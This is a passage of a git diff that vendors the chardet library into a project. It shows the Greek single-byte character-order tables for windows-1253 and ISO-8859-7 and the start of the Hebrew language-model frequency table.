90: 188, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 72, # 'a' + 98: 70, # 'b' + 99: 80, # 'c' + 100: 81, # 'd' + 101: 60, # 'e' + 102: 96, # 'f' + 103: 93, # 'g' + 104: 89, # 'h' + 105: 68, # 'i' + 106: 120, # 'j' + 107: 97, # 'k' + 108: 77, # 'l' + 109: 86, # 'm' + 110: 69, # 'n' + 111: 55, # 'o' + 112: 78, # 'p' + 113: 115, # 'q' + 114: 65, # 'r' + 115: 66, # 's' + 116: 58, # 't' + 117: 76, # 'u' + 118: 106, # 'v' + 119: 103, # 'w' + 120: 87, # 'x' + 121: 107, # 'y' + 122: 112, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 255, # '€' + 129: 255, # None + 130: 255, # '‚' + 131: 255, # 'ƒ' + 132: 255, # '„' + 133: 255, # '…' + 134: 255, # '†' + 135: 255, # '‡' + 136: 255, # None + 137: 255, # '‰' + 138: 255, # None + 139: 255, # '‹' + 140: 255, # None + 141: 255, # None + 142: 255, # None + 143: 255, # None + 144: 255, # None + 145: 255, # '‘' + 146: 255, # '’' + 147: 255, # '“' + 148: 255, # '”' + 149: 255, # '•' + 150: 255, # '–' + 151: 255, # '—' + 152: 255, # None + 153: 255, # '™' + 154: 255, # None + 155: 255, # '›' + 156: 255, # None + 157: 255, # None + 158: 255, # None + 159: 255, # None + 160: 253, # '\xa0' + 161: 233, # '΅' + 162: 61, # 'Ά' + 163: 253, # '£' + 164: 253, # '¤' + 165: 253, # '¥' + 166: 253, # '¦' + 167: 253, # '§' + 168: 253, # '¨' + 169: 253, # '©' + 170: 253, # None + 171: 253, # '«' + 172: 253, # '¬' + 173: 74, # '\xad' + 174: 253, # '®' + 175: 253, # '―' + 176: 253, # '°' + 177: 253, # '±' + 178: 253, # '²' + 179: 253, # '³' + 180: 247, # '΄' + 181: 253, # 'µ' + 182: 253, # '¶' + 183: 36, # '·' + 184: 46, # 'Έ' + 185: 71, # 'Ή' + 186: 73, # 'Ί' + 187: 253, # '»' + 188: 54, # 'Ό' + 189: 253, # '½' + 190: 108, # 'Ύ' + 191: 123, # 'Ώ' + 192: 110, # 'ΐ' + 193: 31, # 'Α' + 194: 51, # 'Β' + 195: 43, # 'Γ' + 196: 41, # 'Δ' + 197: 34, # 'Ε' + 198: 91, # 'Ζ' + 199: 40, # 'Η' + 200: 52, # 'Θ' + 201: 47, # 'Ι' + 202: 44, # 'Κ' + 203: 53, # 'Λ' + 204: 38, # 'Μ' + 205: 49, # 'Ν' + 206: 59, # 'Ξ' + 207: 39, # 'Ο' + 208: 35, # 'Π' + 209: 48, # 'Ρ' + 210: 250, # None + 211: 37, # 'Σ' + 212: 33, # 'Τ' + 213: 45, # 'Υ' + 214: 56, # 'Φ' + 215: 50, # 'Χ' + 216: 84, # 'Ψ' + 217: 57, # 'Ω' + 218: 120, # 'Ϊ' + 219: 121, # 'Ϋ' + 220: 17, # 'ά' + 221: 18, # 'έ' + 222: 22, # 'ή' + 223: 15, # 'ί' + 224: 124, # 'ΰ' + 225: 1, # 'α' + 226: 29, # 'β' + 227: 20, # 'γ' + 228: 21, # 'δ' + 229: 3, # 'ε' + 230: 32, # 'ζ' + 231: 13, # 'η' + 232: 25, # 'θ' + 233: 5, # 'ι' + 234: 11, # 'κ' + 235: 16, # 'λ' + 236: 10, # 'μ' + 237: 6, # 'ν' + 238: 30, # 'ξ' + 239: 4, # 'ο' + 240: 9, # 'π' + 241: 8, # 'ρ' + 242: 14, # 'ς' + 243: 7, # 'σ' + 244: 2, # 'τ' + 245: 12, # 'υ' + 246: 28, # 'φ' + 247: 23, # 'χ' + 248: 42, # 'ψ' + 249: 24, # 'ω' + 250: 64, # 'ϊ' + 251: 75, # 'ϋ' + 252: 19, # 'ό' + 253: 26, # 'ύ' + 254: 27, # 'ώ' + 255: 253, # None +} + +WINDOWS_1253_GREEK_MODEL = SingleByteCharSetModel(charset_name='windows-1253', + language='Greek', + char_to_order_map=WINDOWS_1253_GREEK_CHAR_TO_ORDER, + language_model=GREEK_LANG_MODEL, + typical_positive_ratio=0.982851, + keep_ascii_letters=False, + alphabet='ΆΈΉΊΌΎΏΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩάέήίαβγδεζηθικλμνξοπρςστυφχψωόύώ') + +ISO_8859_7_GREEK_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 82, # 'A' + 66: 100, # 'B' + 67: 104, # 'C' + 68: 94, # 'D' + 69: 98, # 'E' + 70: 101, # 'F' + 71: 116, # 'G' + 72: 102, # 'H' + 73: 111, # 'I' + 74: 187, # 'J' + 75: 117, # 'K' + 76: 92, # 'L' + 77: 88, # 'M' + 78: 113, # 'N' + 79: 85, # 'O' + 80: 79, # 'P' + 81: 118, # 'Q' + 82: 105, # 'R' + 83: 83, # 'S' + 84: 67, # 'T' + 85: 114, # 'U' + 86: 119, # 'V' + 87: 95, # 'W' + 88: 99, # 'X' + 89: 109, # 'Y' + 90: 188, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 72, # 'a' + 98: 70, # 'b' + 99: 80, # 'c' + 100: 81, # 'd' + 101: 60, # 'e' + 102: 96, # 'f' + 103: 93, # 'g' + 104: 89, # 'h' + 105: 68, # 'i' + 106: 120, # 'j' + 107: 97, # 'k' + 108: 77, # 'l' + 109: 86, # 'm' + 110: 69, # 'n' + 111: 55, # 'o' + 112: 78, # 'p' + 113: 115, # 'q' + 114: 65, # 'r' + 115: 66, # 's' + 116: 58, # 't' + 117: 76, # 'u' + 118: 106, # 'v' + 119: 103, # 'w' + 120: 87, # 'x' + 121: 107, # 'y' + 122: 112, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 255, # '\x80' + 129: 255, # '\x81' + 130: 255, # '\x82' + 131: 255, # '\x83' + 132: 255, # '\x84' + 133: 255, # '\x85' + 134: 255, # '\x86' + 135: 255, # '\x87' + 136: 255, # '\x88' + 137: 255, # '\x89' + 138: 255, # '\x8a' + 139: 255, # '\x8b' + 140: 255, # '\x8c' + 141: 255, # '\x8d' + 142: 255, # '\x8e' + 143: 255, # '\x8f' + 144: 255, # '\x90' + 145: 255, # '\x91' + 146: 255, # '\x92' + 147: 255, # '\x93' + 148: 255, # '\x94' + 149: 255, # '\x95' + 150: 255, # '\x96' + 151: 255, # '\x97' + 152: 255, # '\x98' + 153: 255, # '\x99' + 154: 255, # '\x9a' + 155: 255, # '\x9b' + 156: 255, # '\x9c' + 157: 255, # '\x9d' + 158: 255, # '\x9e' + 159: 255, # '\x9f' + 160: 253, # '\xa0' + 161: 233, # '‘' + 162: 90, # '’' + 163: 253, # '£' + 164: 253, # '€' + 165: 253, # '₯' + 166: 253, # '¦' + 167: 253, # '§' + 168: 253, # '¨' + 169: 253, # '©' + 170: 253, # 'ͺ' + 171: 253, # '«' + 172: 253, # '¬' + 173: 74, # '\xad' + 174: 253, # None + 175: 253, # '―' + 176: 253, # '°' + 177: 253, # '±' + 178: 253, # '²' + 179: 253, # '³' + 180: 247, # '΄' + 181: 248, # '΅' + 182: 61, # 'Ά' + 183: 36, # '·' + 184: 46, # 'Έ' + 185: 71, # 'Ή' + 186: 73, # 'Ί' + 187: 253, # '»' + 188: 54, # 'Ό' + 189: 253, # '½' + 190: 108, # 'Ύ' + 191: 123, # 'Ώ' + 192: 110, # 'ΐ' + 193: 31, # 'Α' + 194: 51, # 'Β' + 195: 43, # 'Γ' + 196: 41, # 'Δ' + 197: 34, # 'Ε' + 198: 91, # 'Ζ' + 199: 40, # 'Η' + 200: 52, # 'Θ' + 201: 47, # 'Ι' + 202: 44, # 'Κ' + 203: 53, # 'Λ' + 204: 38, # 'Μ' + 205: 49, # 'Ν' + 206: 59, # 'Ξ' + 207: 39, # 'Ο' + 208: 35, # 'Π' + 209: 48, # 'Ρ' + 210: 250, # None + 211: 37, # 'Σ' + 212: 33, # 'Τ' + 213: 45, # 'Υ' + 214: 56, # 'Φ' + 215: 50, # 'Χ' + 216: 84, # 'Ψ' + 217: 57, # 'Ω' + 218: 120, # 'Ϊ' + 219: 121, # 'Ϋ' + 220: 17, # 'ά' + 221: 18, # 'έ' + 222: 22, # 'ή' + 223: 15, # 'ί' + 224: 124, # 'ΰ' + 225: 1, # 'α' + 226: 29, # 'β' + 227: 20, # 'γ' + 228: 21, # 'δ' + 229: 3, # 'ε' + 230: 32, # 'ζ' + 231: 13, # 'η' + 232: 25, # 'θ' + 233: 5, # 'ι' + 234: 11, # 'κ' + 235: 16, # 'λ' + 236: 10, # 'μ' + 237: 6, # 'ν' + 238: 30, # 'ξ' + 239: 4, # 'ο' + 240: 9, # 'π' + 241: 8, # 'ρ' + 242: 14, # 'ς' + 243: 7, # 'σ' + 244: 2, # 'τ' + 245: 12, # 'υ' + 246: 28, # 'φ' + 247: 23, # 'χ' + 248: 42, # 'ψ' + 249: 24, # 'ω' + 250: 64, # 'ϊ' + 251: 75, # 'ϋ' + 252: 19, # 'ό' + 253: 26, # 'ύ' + 254: 27, # 'ώ' + 255: 253, # None +} + +ISO_8859_7_GREEK_MODEL = SingleByteCharSetModel(charset_name='ISO-8859-7', + language='Greek', + char_to_order_map=ISO_8859_7_GREEK_CHAR_TO_ORDER, + language_model=GREEK_LANG_MODEL, + typical_positive_ratio=0.982851, + keep_ascii_letters=False, + alphabet='ΆΈΉΊΌΎΏΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩάέήίαβγδεζηθικλμνξοπρςστυφχψωόύώ') + diff --git a/src/thirdparty/chardet/langhebrewmodel.py b/src/thirdparty/chardet/langhebrewmodel.py new file mode 100644 index 0000000000..a62cae48c9 --- /dev/null +++ b/src/thirdparty/chardet/langhebrewmodel.py @@ -0,0 +1,4383 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from .sbcharsetprober import SingleByteCharSetModel + + +# 3: Positive +# 2: Likely +# 1: Unlikely +# 0: Negative + +HEBREW_LANG_MODEL = { + 50: { # 'a' + 50: 0, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 2, # 'l' + 54: 2, # 'n' + 49: 0, # 'o' + 51: 2, # 'r' + 43: 1, # 's' + 44: 2, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 1, # 'ק' + 7: 0, # 'ר' + 10: 1, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 60: { # 'c' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 0, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 0, # 'n' + 49: 1, # 'o' + 51: 1, # 'r' + 43: 1, # 's' + 44: 2, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 61: { # 'd' + 50: 1, # 'a' + 60: 0, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 1, # 'n' + 49: 2, # 'o' + 51: 1, # 'r' + 43: 1, # 's' + 44: 0, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 1, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 42: { # 'e' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 2, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 2, # 'l' + 54: 2, # 'n' + 49: 1, # 'o' + 51: 2, # 'r' + 43: 2, # 's' + 44: 2, # 't' + 63: 1, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 1, # '–' + 52: 2, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 53: { # 'i' + 50: 1, # 'a' + 60: 2, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 0, # 'i' + 56: 1, # 'l' + 54: 2, # 'n' + 49: 2, # 'o' + 51: 1, # 'r' + 43: 2, # 's' + 44: 2, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 56: { # 'l' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 2, # 'e' + 53: 2, # 'i' + 56: 2, # 'l' + 54: 1, # 'n' + 49: 1, # 'o' + 51: 0, # 'r' + 43: 1, # 's' + 44: 1, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 54: { # 'n' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 1, # 'n' + 49: 1, # 'o' + 51: 0, # 'r' + 43: 1, # 's' + 44: 2, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 2, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 49: { # 'o' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 2, # 'n' + 49: 1, # 'o' + 51: 2, # 'r' + 43: 1, # 's' + 44: 1, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 51: { # 'r' + 50: 2, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 2, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 1, # 'n' + 49: 2, # 'o' + 51: 1, # 'r' + 43: 1, # 's' + 44: 1, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 2, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 43: { # 's' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 0, # 'd' + 42: 2, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 1, # 'n' + 49: 1, # 'o' + 51: 1, # 'r' + 43: 1, # 's' + 44: 2, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 2, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 44: { # 't' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 0, # 'd' + 42: 2, # 'e' + 53: 2, # 'i' + 56: 1, # 'l' + 54: 0, # 'n' + 49: 1, # 'o' + 51: 1, # 'r' + 43: 1, # 's' + 44: 1, # 't' + 63: 1, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 2, # '’' + 47: 0, # '“' + 46: 1, # '”' + 